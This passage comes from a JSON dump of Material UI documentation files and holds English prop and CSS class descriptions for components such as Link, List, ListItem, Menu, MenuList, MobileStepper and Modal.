    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": { \"description\": \"The color of the link.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\",\n      \"requiresRef\": true\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"TypographyClasses\": {\n      \"description\": \"<code>classes</code> prop applied to the <a href=\\\"https://mui.com/material-ui/api/typography/\\\"><code>Typography</code></a> element.\"\n    },\n    \"underline\": { \"description\": \"Controls when the link should have an underline.\" },\n    \"variant\": { \"description\": \"Applies the theme typography styles.\" }\n  },\n  \"classDescriptions\": {\n    \"button\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>component=\\\"button\\\"</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the link is keyboard focused\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"underlineAlways\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>underline=\\\"always\\\"</code>\"\n    },\n    \"underlineHover\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>underline=\\\"hover\\\"</code>\"\n    },\n    \"underlineNone\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>underline=\\\"none\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list/list.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"dense\": {\n      \"description\": \"If <code>true</code>, compact vertical padding designed for keyboard and mouse input is used for the list and list items. The prop is available to descendant components as the <code>dense</code> context.\"\n    },\n    \"disablePadding\": {\n      \"description\": \"If <code>true</code>, vertical padding is removed from the list.\"\n    },\n    \"subheader\": {\n      \"description\": \"The content of the subheader, normally <code>ListSubheader</code>.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"dense\"\n    },\n    \"padding\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disablePadding={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"subheader\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"a <code>subheader</code> is provided\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-item/list-item.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"alignItems\": { \"description\": \"Defines the <code>align-items</code> style property.\" },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"dense\": {\n      \"description\": \"If <code>true</code>, compact vertical padding designed for keyboard and mouse input is used. The prop defaults to the value inherited from the parent List component.\"\n    },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, the left and right padding is removed.\"\n    },\n    \"disablePadding\": { \"description\": \"If <code>true</code>, all padding is removed.\" },\n    \"divider\": {\n      \"description\": \"If <code>true</code>, a 1px light border is added to the bottom of the list item.\"\n    },\n    \"secondaryAction\": { \"description\": \"The element to display at the end of ListItem.\" },\n    \"slotProps\": {\n      \"description\": \"The extra props for the slot components. You can override the existing props or add new ones.\"\n    },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alignItemsFlexStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the component element\",\n      \"conditions\": \"<code>alignItems=\\\"flex-start\\\"</code>\"\n    },\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the component element\",\n      \"conditions\": \"dense\"\n    },\n    \"divider\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>divider={true}</code>\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"padding\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disablePadding={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"secondaryAction\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the secondary action element\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-item-avatar/list-item-avatar.json",
    "content": "{\n  \"componentDescription\": \"A simple wrapper to apply `List` styles to an `Avatar`.\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component, normally an <code>Avatar</code>.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alignItemsFlexStart\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the parent <code>ListItem</code> uses <code>alignItems=\\\"flex-start\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-item-button/list-item-button.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"alignItems\": { \"description\": \"Defines the <code>align-items</code> style property.\" },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the list item is focused during the first mount. Focus will also be triggered if the value changes from false to true.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"dense\": {\n      \"description\": \"If <code>true</code>, compact vertical padding designed for keyboard and mouse input is used. The prop defaults to the value inherited from the parent List component.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, the left and right padding is removed.\"\n    },\n    \"divider\": {\n      \"description\": \"If <code>true</code>, a 1px light border is added to the bottom of the list item.\"\n    },\n    \"focusVisibleClassName\": {\n      \"description\": \"This prop can help identify which element has keyboard focus. The class name will be applied when the element gains the focus through keyboard interaction. It&#39;s a polyfill for the <a href=\\\"https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo\\\">CSS :focus-visible selector</a>. The rationale for using this feature <a href=\\\"https://github.com/WICG/focus-visible/blob/HEAD/explainer.md\\\">is explained here</a>. A <a href=\\\"https://github.com/WICG/focus-visible\\\">polyfill can be used</a> to apply a <code>focus-visible</code> class to other components if needed.\"\n    },\n    \"selected\": { \"description\": \"Use to apply selected styling.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alignItemsFlexStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the component element\",\n      \"conditions\": \"<code>alignItems=\\\"flex-start\\\"</code>\"\n    },\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the component element\",\n      \"conditions\": \"dense\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"divider\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>divider={true}</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}}.\",\n      \"nodeName\": \"the <code>component</code>&#39;s <code>focusVisibleClassName</code> prop\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-item-icon/list-item-icon.json",
    "content": "{\n  \"componentDescription\": \"A simple wrapper to apply `List` styles to an `Icon` or `SvgIcon`.\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the component, normally <code>Icon</code>, <code>SvgIcon</code>, or a <code>@mui/icons-material</code> SVG icon element.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"alignItemsFlexStart\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the parent <code>ListItem</code> uses <code>alignItems=\\\"flex-start\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-item-secondary-action/list-item-secondary-action.json",
    "content": "{\n  \"componentDescription\": \"Must be used as the last child of ListItem to function properly.\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"The content of the component, normally an <code>IconButton</code> or selection control.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disableGutters\": {\n      \"description\": \"Styles applied to {{nodeName}} when {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the parent <code>ListItem</code> has <code>disableGutters={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-item-text/list-item-text.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"Alias for the <code>primary</code> prop.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableTypography\": {\n      \"description\": \"If <code>true</code>, the children won&#39;t be wrapped by a Typography component. This can be useful to render an alternative Typography variant by wrapping the <code>children</code> (or <code>primary</code>) text, and optional <code>secondary</code> text with the Typography component.\"\n    },\n    \"inset\": {\n      \"description\": \"If <code>true</code>, the children are indented. This should be used if there is no left avatar or left icon.\"\n    },\n    \"primary\": { \"description\": \"The main content element.\" },\n    \"secondary\": { \"description\": \"The secondary content element.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Typography component\",\n      \"conditions\": \"dense\"\n    },\n    \"inset\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>inset={true}</code>\"\n    },\n    \"multiline\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the Typography component\",\n      \"conditions\": \"primary and secondary are set\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"primary\": \"The component that renders the primary slot.\",\n    \"root\": \"The component that renders the root slot.\",\n    \"secondary\": \"The component that renders the secondary slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/list-subheader/list-subheader.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports those theme colors that make sense for this component.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, the List Subheader will not have gutters.\"\n    },\n    \"disableSticky\": {\n      \"description\": \"If <code>true</code>, the List Subheader will not stick to the top during scroll.\"\n    },\n    \"inset\": { \"description\": \"If <code>true</code>, the List Subheader is indented.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"colorInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"inherit\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"inset\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>inset={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sticky\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableSticky={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/masonry/masonry.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"columns\": { \"description\": \"Number of columns.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"defaultColumns\": {\n      \"description\": \"The default number of columns of the component. This is provided for server-side rendering.\"\n    },\n    \"defaultHeight\": {\n      \"description\": \"The default height of the component in px. This is provided for server-side rendering.\"\n    },\n    \"defaultSpacing\": {\n      \"description\": \"The default spacing of the component. Like <code>spacing</code>, it is a factor of the theme&#39;s spacing. This is provided for server-side rendering.\"\n    },\n    \"sequential\": {\n      \"description\": \"Allows using sequential order rather than adding to shortest column\"\n    },\n    \"spacing\": {\n      \"description\": \"Defines the space between children. It is a factor of the theme&#39;s spacing.\"\n    },\n    \"sx\": { \"description\": \"Allows defining system overrides as well as additional CSS styles.\" }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/menu/menu.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"anchorEl\": {\n      \"description\": \"An HTML element, or a function that returns one. It&#39;s used to set the position of the menu.\"\n    },\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code> (Default) will focus the <code>[role=&quot;menu&quot;]</code> if no focusable child is found. Disabled children are not focusable. If you set this prop to <code>false</code> focus will be placed on the parent modal container. This has severe accessibility implications and should only be considered if you manage focus otherwise.\"\n    },\n    \"children\": { \"description\": \"Menu contents, normally <code>MenuItem</code>s.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableAutoFocusItem\": {\n      \"description\": \"When opening the menu will not focus the active item but the <code>[role=&quot;menu&quot;]</code> unless <code>autoFocus</code> is also set to <code>false</code>. Not using the default means not following WAI-ARIA authoring practices. Please be considerate about possible accessibility implications.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;escapeKeyDown&quot;</code>, <code>&quot;backdropClick&quot;</code>, <code>&quot;tabKeyDown&quot;</code>.\"\n        }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"PopoverClasses\": {\n      \"description\": \"<code>classes</code> prop applied to the <a href=\\\"https://mui.com/material-ui/api/popover/\\\"><code>Popover</code></a> element.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The length of the transition in <code>ms</code>, or &#39;auto&#39;\"\n    },\n    \"variant\": {\n      \"description\": \"The variant to use. Use <code>menu</code> to prevent selected items from impacting the initial focus.\"\n    }\n  },\n  \"classDescriptions\": {},\n  \"slotDescriptions\": {\n    \"backdrop\": \"The component used for the backdrop slot.\",\n    \"list\": \"The component used for the list.\",\n    \"paper\": \"The component used for the paper.\",\n    \"root\": \"The component used for the popper.\",\n    \"transition\": \"The component used for the transition slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/menu-item/menu-item.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, the list item is focused during the first mount. Focus will also be triggered if the value changes from false to true.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"dense\": {\n      \"description\": \"If <code>true</code>, compact vertical padding designed for keyboard and mouse input is used. The prop defaults to the value inherited from the parent Menu component.\"\n    },\n    \"disableGutters\": {\n      \"description\": \"If <code>true</code>, the left and right padding is removed.\"\n    },\n    \"divider\": {\n      \"description\": \"If <code>true</code>, a 1px light border is added to the bottom of the menu item.\"\n    },\n    \"focusVisibleClassName\": {\n      \"description\": \"This prop can help identify which element has keyboard focus. The class name will be applied when the element gains the focus through keyboard interaction. It&#39;s a polyfill for the <a href=\\\"https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo\\\">CSS :focus-visible selector</a>. The rationale for using this feature <a href=\\\"https://github.com/WICG/focus-visible/blob/HEAD/explainer.md\\\">is explained here</a>. A <a href=\\\"https://github.com/WICG/focus-visible\\\">polyfill can be used</a> to apply a <code>focus-visible</code> class to other components if needed.\"\n    },\n    \"selected\": { \"description\": \"If <code>true</code>, the component is selected.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"dense\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"divider\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>divider={true}</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"keyboard focused\"\n    },\n    \"gutters\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the inner <code>component</code> element\",\n      \"conditions\": \"<code>disableGutters={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>selected={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/menu-list/menu-list.json",
    "content": "{\n  \"componentDescription\": \"A permanently displayed menu following https://www.w3.org/WAI/ARIA/apg/patterns/menu-button/.\\nIt's exposed to help customization of the [`Menu`](/material-ui/api/menu/) component if you\\nuse it separately you need to move focus into the component manually. Once\\nthe focus is placed inside the component it is fully keyboard accessible.\",\n  \"propDescriptions\": {\n    \"autoFocus\": {\n      \"description\": \"If <code>true</code>, will focus the <code>[role=&quot;menu&quot;]</code> container and move into tab order.\"\n    },\n    \"autoFocusItem\": {\n      \"description\": \"If <code>true</code>, will focus the first menuitem if <code>variant=&quot;menu&quot;</code> or selected item if <code>variant=&quot;selectedMenu&quot;</code>.\"\n    },\n    \"children\": { \"description\": \"MenuList contents, normally <code>MenuItem</code>s.\" },\n    \"disabledItemsFocusable\": {\n      \"description\": \"If <code>true</code>, will allow focus on disabled items.\"\n    },\n    \"disableListWrap\": {\n      \"description\": \"If <code>true</code>, the menu items will not wrap focus.\"\n    },\n    \"variant\": {\n      \"description\": \"The variant to use. Use <code>menu</code> to prevent selected items from impacting the initial focus and the vertical alignment relative to the anchor element.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"dense\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"dense\"\n    },\n    \"padding\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disablePadding={true}</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"subheader\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"a <code>subheader</code> is provided\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/mobile-stepper/mobile-stepper.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"activeStep\": {\n      \"description\": \"Set the active step (zero based index). Defines which dot is highlighted when the variant is &#39;dots&#39;.\"\n    },\n    \"backButton\": {\n      \"description\": \"A back button element. For instance, it can be a <code>Button</code> or an <code>IconButton</code>.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"nextButton\": {\n      \"description\": \"A next button element. For instance, it can be a <code>Button</code> or an <code>IconButton</code>.\"\n    },\n    \"position\": { \"description\": \"Set the positioning type.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"steps\": { \"description\": \"The total steps.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"dotActive\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"a dot\",\n      \"conditions\": \"<code>variant=\\\"dots\\\"</code> and this is the active step\"\n    },\n    \"positionBottom\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"bottom\\\"</code>\"\n    },\n    \"positionStatic\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"static\\\"</code>\"\n    },\n    \"positionTop\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"top\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"dot\": \"The component that renders the dot slot.\",\n    \"dots\": \"The component that renders the dots slot.\",\n    \"progress\": \"The component that renders the progress slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/modal/modal.json",
    "content": "{\n  \"componentDescription\": \"Modal is a lower-level construct that is leveraged by the following components:\\n\\n- [Dialog](/material-ui/api/dialog/)\\n- [Drawer](/material-ui/api/drawer/)\\n- [Menu](/material-ui/api/menu/)\\n- [Popover](/material-ui/api/popover/)\\n\\nIf you are creating a modal dialog, you probably want to use the [Dialog](/material-ui/api/dialog/) component\\nrather than directly using Modal.\\n\\nThis component shares many concepts with [react-overlays](https://react-bootstrap.github.io/react-overlays/#modals).\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"A single child content element.\", \"requiresRef\": true },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"closeAfterTransition\": {\n      \"description\": \"When set to true the Modal waits until a nested Transition is completed before closing.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"container\": {\n      \"description\": \"An HTML element or function that returns one. The <code>container</code> will have the portal children appended to it.<br>You can also provide a callback, which is called in a React layout effect. This lets you set the container from a ref, and also makes server-side rendering possible.<br>By default, it uses the body of the top-level document object, so it&#39;s simply <code>document.body</code> most of the time.\"\n    },\n    \"disableAutoFocus\": {\n      \"description\": \"If <code>true</code>, the modal will not automatically shift focus to itself when it opens, and replace it to the last focused element when it closes. This also works correctly with any modal children that have the <code>disableAutoFocus</code> prop.<br>Generally this should never be set to <code>true</code> as it makes the modal less accessible to assistive technologies, like screen readers.\"\n    },\n    \"disableEnforceFocus\": {\n      \"description\": \"If <code>true</code>, the modal will not prevent focus from leaving the modal while open.<br>Generally this should never be set to <code>true</code> as it makes the modal less accessible to assistive technologies, like screen readers.\"\n    },\n    \"disablePortal\": {\n      \"description\": \"The <code>children</code> will be under the DOM hierarchy of the parent component.\"\n    },\n    \"disableRestoreFocus\": {\n      \"description\": \"If <code>true</code>, the modal will not restore focus to previously focused element once modal is hidden or unmounted.\"\n    },\n    \"disableScrollLock\": { \"description\": \"Disable the scroll lock behavior.\" },\n    \"hideBackdrop\": { \"description\": \"If <code>true</code>, the backdrop is not rendered.\" },\n    \"keepMounted\": {\n      \"description\": \"Always keep the children in the DOM. This prop can be useful in SEO situation or when you want to maximize the responsiveness of the Modal.\"\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the component requests to be closed. The <code>reason</code> parameter can optionally be used to control the response to <code>onClose</code>.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;escapeKeyDown&quot;</code>, <code>&quot;backdropClick&quot;</code>.\"\n        }\n      }\n    },\n    \"onTransitionEnter\": { \"description\": \"A function called when a transition enters.\" },\n    \"onTransitionExited\": { \"description\": \"A function called when a transition has exited.\" },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside the Modal.\" },\n    \"slots\": {\n      \"description\": \"The components used for each slot inside the Modal. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"hidden\": {\n      \"description\": \"Class name applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the <code>Modal</code> has exited\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"backdrop\": \"The component that renders the backdrop.\",\n    \"root\": \"The component that renders the root.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/native-select/native-select.json",
